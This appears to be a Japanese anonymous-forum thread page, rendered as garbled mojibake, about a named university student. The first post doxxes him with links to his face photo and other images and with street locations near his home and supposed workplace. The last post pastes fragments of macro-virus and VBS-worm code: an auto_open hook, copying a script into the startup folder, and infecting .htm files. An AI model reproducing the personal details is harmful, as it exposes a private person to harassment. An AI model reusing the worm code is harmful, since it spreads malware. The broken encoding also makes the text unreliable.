‚È‚é‚Ù‚Ç’m—“‚¶‚á‚Ë[‚Ì

¡ŒfŽ¦”Â‚É–ß‚é¡ ‘S•” 1- 101- 201- 301- 401- 501- 601- 701- 801- 901- ÅV50
[PR]EX‚º‚ë‚¿‚á‚ñ‚Ë‚é[PR]
 
ƒŒƒX”‚ª1000‚ð’´‚¦‚Ä‚¢‚Ü‚·BŽc”O‚È‚ª‚ç‘S•”‚Í•\Ž¦‚µ‚Ü‚¹‚ñB

ˆ¤’m‘åŠw‚̃vƒŠƒ“ƒXE•Ÿˆäw–ç‚­‚ñƒXƒŒ (1000)

1 ‚¾‚ê‚Æ‚ÍŒ¾‚í‚ñ‚ª 2014/12/08(ŒŽ) 18:48:07 ID:fkwfq75Q
‚²‘¸Šç
http://pbs.twimg.com/media/BLUTgBQCMAIKDKh.jpg
‹Md‚È’˜‘
http://up.pandoravote.net/up4/img/panflash00085809.jpg
s“®Œ—(ŽÀ‰Æ‹ß•ÓH)
http://i.imgur.com/2QXISKT.jpg
A@ƒ[ƒ\ƒ“Šò•ŒŽO’š–Ú@Šò•ŒŒ§Šò•ŒŽs’·Z’¬3]1]1
B@•ŸˆäŒN‚̃oƒCƒgæH@Šò•ŒŒ§Šò•ŒŽs“O–¾’Ê1-15

1000 ‚¾‚ê‚Æ‚ÍŒ¾‚í‚ñ‚ª 2014/12/19(‹à) 07:07:35 ID:7Xkd2wFk
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "_" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub


VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)<body onload=window()>

797KB


READ ONLY

READ.CGI - ex0ch BBS dev-r166 20240703
EX‚º‚ë‚¿‚á‚ñ‚Ë‚é